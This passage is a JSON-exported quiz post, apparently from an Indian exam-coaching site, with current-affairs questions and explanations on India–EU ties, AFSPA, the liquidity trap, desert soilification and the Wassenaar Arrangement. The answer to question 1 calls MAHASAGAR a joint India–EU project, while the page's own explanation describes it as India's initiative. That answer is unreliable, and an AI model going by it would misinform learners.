{"id":2474,"date":"2025-10-01T06:23:34","date_gmt":"2025-10-01T06:23:34","guid":{"rendered":"https:\/\/iasquest.com\/?p=2474"},"modified":"2026-02-11T18:51:50","modified_gmt":"2026-02-11T18:51:50","slug":"daily-current-affairs-30-09-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-30-09-2025\/","title":{"rendered":"Daily Current Affairs \u2013 30-09-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Which among the following initiatives is a joint India\u2013EU connectivity and development project?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">(a) MAHASAGAR<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">(b) SAGAR-Mission<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">(c) Global Maritime Security Initiative<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(d) Indo-Pacific Defense Alliance<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Answer: (a) MAHASAGAR<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>In NEWS:<\/strong> A document issued by the European Union earlier this month, outlines its agenda for ties with India. It is based on five pillars: economy, emerging tech, security, global connectivity, and people-to-people ties<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>India-EU Strategic Agenda 2025:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>1. Economic &amp; Trade Cooperation<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Bilateral Trade<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\">In 2024, goods trade reached <strong>\u20ac120 billion<\/strong>, with services adding another <strong>\u20ac60 billion<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Investment<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\">Approximately <strong>6,000 European companies<\/strong> operate in India, employing around <strong>3 million people<\/strong> directly.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Free Trade Agreement (FTA)<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">Both parties aim to conclude negotiations by the end of 2025, focusing on reducing tariff and non-tariff barriers.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Investment Protection Agreement (IPA)<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">Discussions are ongoing to safeguard investments between the two regions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>2. Global Connectivity<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>EU\u2019s Global Gateway<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">Mobilizes <strong>\u20ac300 billion<\/strong> globally to support energy, digital, and transport infrastructure.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>India\u2019s Initiatives<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">India boasts initiatives such as <strong>MAHASAGAR (Mutual and Holistic Advancement for Security and Growth)<\/strong>. <strong>Hence option (a) is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Collaborative Projects<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">The EU-India Connectivity Partnership aims to enhance infrastructure connectivity between the two regions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>3. Emerging Technologies<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Digital Economy<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">Emphasis on cooperation in areas like <strong>artificial intelligence<\/strong>, <strong>5G<\/strong>, and <strong>cybersecurity<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Research &amp; Innovation<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">Joint efforts to promote research and development in cutting-edge technologies.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>4. Security &amp; Defence<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Strategic Partnership<\/strong>: Plans to establish an EU-India Security and Defence Partnership focusing on:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>1. Maritime Security<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>2. Cybersecurity<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>3. Counterterrorism<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>4. Crisis Management<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Defense Industry Collaboration<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">Enhancing cooperation in defense industrial expansion and modernization.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>5. People-to-People Ties<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Cultural Exchange<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">Initiatives to promote cultural understanding and exchange programs.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Educational Collaboration<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">Strengthening academic partnerships and student exchange programs.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><strong>Q. Which organization has enacted the Nature Restoration Law (NRL) to tackle climate change and biodiversity loss?<\/strong> <br><br><strong>(a) The European Union\u00a0\u00a0<\/strong> <br>(b) The World Bank\u00a0\u00a0 <br>(c) The Organisation of Economic Cooperation and Development\u00a0 <br>(d) FAO<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-india-eu-strategic-agenda-10273658\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/explained-india-eu-strategic-agenda-10273658\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>2. With reference to \u201cArmed Forces Special Powers Act\u201d Consider the following statements.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">1. In India, both the Centre and the States are empowered to impose AFSPA in a disturbed area.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">2. AFSPA is currently in force in J&amp;K, Meghalaya, Tripura, Manipur, and Arunachal Pradesh.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">3. The armed forces have been empowered to open fire, enter and search without warrant, and arrest any person and indemnity for the acts.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">(b) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">(d) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Answer: (c)<\/strong> <strong>1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>In NEWS: <\/strong>AFSPA extended in parts of Manipur, Arunachal and Nagaland for another six months<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>Armed Forces (Special Powers) Act (AFSPA):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-58\">\n<li>The AFSPA has been in effect in Manipur since 1980, with gradual withdrawals and reintroductions based on the security situation<\/li>\n\n\n\n<li>Under Section 3 of the Act, Both Central Govt or Governor of State can declare a region as &#8220;disturbed area&#8221; to impose AFSPA. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>AFSPA is currently in force in J&amp;K, parts of Nagaland, Assam, Manipur, and Arunachal Pradesh. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>It was completely lifted from Meghalaya in April 2018 &amp; Tripura in 2015<\/li>\n\n\n\n<li>The armed forces have been empowered to open fire; enter and search without warrant, and arrest any person and indemnity for the acts. <strong>Hence statement 3 is correct.<\/strong>\n<ul class=\"wp-block-list\">\n<li>Disturbed area is an area in such a disturbed or dangerous condition that the use of armed forces in aid of the civil power is necessary.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Special powers of the armed forces under Section 4: Any commissioned officer, warrant officer, non-commissioned officer or any other person of equivalent rank in the armed forces is given &#8220;special powers&#8221; under AFSPA, although they must be exercised with extreme caution.<ul><li>After giving due warning as considered necessary, Fire upon or use force, even causing death, against any person acting in contravention of laws:<\/li><\/ul><ul><li>Prohibiting assembly of 5 or more persons<\/li><\/ul><ul><li>Prohibiting carrying weapons or firearms\/ammunition\/explosives.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>If reasonable suspicion exists, can also arrest a person without a warrant; enter or search a premises without a warrant<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Unless otherwise authorized by the central government, Army soldiers operating under the AFSPA are shielded from all legal actions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/mha-extends-afspa-in-parts-of-manipur-arunachal-and-nagaland-for-another-six-months\/article70098633.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/mha-extends-afspa-in-parts-of-manipur-arunachal-and-nagaland-for-another-six-months\/article70098633.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>3. A situation in which monetary policy becomes ineffective because interest rates are already very low (near zero), and people prefer to hold cash rather than invest in bonds or other assets. This economic phenomena is called as<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">(a) Stagflation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">(b) Liquidity trap<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">(c) Hyperinflation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\">(d) Recession<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Answer: (b) Liquidity trap<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>In NEWS: <\/strong>Recent economic trends in India indicate the presence of a liquidity trap.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">Despite the Reserve Bank of India (RBI) lowering interest rates by 100 basis points since February 2025, credit growth remains modest and demand for borrowing is subdued.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Concept of Liquidity Trap<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-70\">\n<li>A situation in which monetary policy becomes ineffective because interest rates are already very low (near zero), and people prefer to hold cash rather than invest in bonds or other assets. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>This was seen during the Covid-19 pandemic and is now evident in India. Lowering interest rates alone fails to boost economic activity when businesses face weak demand and excess capacity.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"602\" height=\"256\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-2.jpg\" alt=\"\" class=\"wp-image-2478\" style=\"width:840px;height:auto\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-2.jpg 602w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-2-300x128.jpg 300w\" sizes=\"auto, (max-width: 602px) 100vw, 602px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>Origin:<\/strong> Concept introduced by <strong>John Maynard Keynes<\/strong> during the <strong>Great Depression (1930s)<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>Key Features:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>1. Low\/Zero Interest Rates<\/strong> \u2013 Cutting rates further does not stimulate borrowing.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>2. High Liquidity Preference<\/strong> \u2013 People hoard money instead of investing or consuming.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>3. Ineffective Monetary Policy<\/strong> \u2013 Traditional tools of RBI\/central bank fail to revive demand.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>4.Weak Credit Growth<\/strong> \u2013 Even if banks have funds, businesses and households don\u2019t borrow.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>Causes:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-78\">\n<li>Expectations of deflation or economic slowdown.<\/li>\n\n\n\n<li>Loss of confidence in financial markets.<\/li>\n\n\n\n<li>High savings despite low returns.<\/li>\n\n\n\n<li>Structural issues in the economy (low demand, high inequality).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Implications:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-80\">\n<li>Stagnant growth and unemployment.<\/li>\n\n\n\n<li>Inflation remains low or turns negative (deflation).<\/li>\n\n\n\n<li>Risk of prolonged economic depression.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Policy Responses:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>1. Fiscal Policy:<\/strong> Higher government spending and targeted stimulus.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>2. Unconventional Monetary Policy:<\/strong> Quantitative easing, negative interest rates, forward guidance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>3. Structural Reforms:<\/strong> Boosting consumption, investment, and employment.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Example:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-86\">\n<li>Great Depression (1930s, USA).<\/li>\n\n\n\n<li>Japan\u2019s \u201cLost Decade\u201d (1990s\u20132000s).<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong> <br><strong>Q. The money multiplier in an economy increases with which one of the following?<\/strong> <br><br>(a) Increase in the Cash Reserve Ratio in the banks <br>(b) Increase in the Statutory Liquidity Ratio in the banks <br><strong>(c) Increase in the banking habit of the people<\/strong> <br>(d) Increase in the population of the country<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.gktoday.in\/liquidity-trap-and-its-impact-on-indian-economy\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.gktoday.in\/liquidity-trap-and-its-impact-on-indian-economy\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>4. Consider the following benefits of desert soilification:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">1. Increased crop yield<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">2. Reduced irrigation requirement<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\">3. Dependence on synthetic fertilizers<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">4. Restoration of barren lands<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>Which of the above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">(a) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">(b) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(c) 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(d) 1, 2 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>In NEWS:<\/strong> New farming technology holds potential to stop desertification<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Desert Soilification:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-102\">\n<li>Desert soilification involves the application of bioformulations and polymers to desert sand, transforming it into a soil-like medium suitable for agriculture.<\/li>\n\n\n\n<li>This process enhances soil fertility, water retention, and plant stress resistance, making it feasible to grow crops in arid environments.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>How It Works<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>Polymer Application<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">Polymers are applied to desert sand to bind sand particles together, creating a stable structure that mimics soil.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Bioformulation<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">Indigenous microorganisms are introduced to the treated sand to promote nutrient cycling and improve soil health.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>Water Retention<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">The treated sand exhibits increased water-holding capacity, reducing the need for frequent irrigation. Hence statement<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>Stress Resistance<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">Crops grown in soilified sand show enhanced tolerance to heat and arid conditions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>Applications and Benefits<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Crop Cultivation<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">Successful trials have been conducted with crops like wheat, bajra, guar gum, and chickpea.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Water Efficiency<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">Soilified lands require fewer irrigation cycles compared to traditional farming methods. <strong>Hence 2 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>High Yield<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">For instance, wheat yields on solidified desert land have been recorded at a ratio of 1:20 (seed to harvest), which is twice the output of untreated desert land. <strong>Hence 1 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Low Input Cost<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">The use of locally available bio-agents and simple application techniques makes the process cost-effective. Soilification could reduce dependence on synthetic fertilizers by improving natural soil fertility.<strong>Hence 3 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Eco-Restoration<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">This method helps in converting barren deserts into cultivable farmland without the need for heavy machinery. <strong>Hence 4 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>Global Significance<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Desertification Control<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">Soilification can play a crucial role in preventing the expansion of deserts, such as the Thar Desert, by restoring soil fertility.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Water Security<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\">In water-scarce regions, this technology minimizes groundwater use, which is critical in areas like Rajasthan.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>Food Security<\/strong>:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">Enabling the cultivation of staple crops in arid belts contributes to enhancing food security.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"597\" height=\"336\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-3.jpg\" alt=\"\" class=\"wp-image-2479\" style=\"width:840px;height:auto\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-3.jpg 597w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-3-300x169.jpg 300w\" sizes=\"auto, (max-width: 597px) 100vw, 597px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><strong>Q. What is\/are the advantage\/advantages of zero tillage in agriculture?<\/strong> <br><br>1. Sowing of wheat without burning the residue of previous crop. <br>2. Without the need for nursery of rice saplings, direct planting of paddy seeds in the wet soil is possible. <br>3. Carbon sequestration in the soil is possible <br><br><strong>Select the correct answer using the code given below:<\/strong> <br><br>(a) 1 and 2 only <br>(b) 2 and 3 only <br>(c) 3 only <br><strong>(d) 1, 2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/cities\/Delhi\/new-farming-technology-holds-potential-to-stop-desertification\/article70099654.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/cities\/Delhi\/new-farming-technology-holds-potential-to-stop-desertification\/article70099654.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>5. With reference to the Wassenaar Arrangement, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">I. It is a legally binding treaty that regulates global arms transfers.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">II. It aims to prevent the destabilizing accumulation of arms and dual-use goods.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">III. India became a member of the Wassenaar Arrangement in 2017.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">(a) I, II and III&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">(b) I only&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">(c) II and III only&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">(d) I and II only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>Answer: (c) II and III only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>In NEWS: <\/strong>The Wassenaar Arrangement: the need to reform export control regimes<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>The Wassenaar Arrangement:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-144\">\n<li>The Wassenaar Arrangement is a <strong>multilateral agreement<\/strong> that promotes<strong> transparency and responsibility in the export of conventional arms and dual-use goods and technologies. Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>It aims to prevent the destabilizing accumulation of these items, particularly by terrorists, 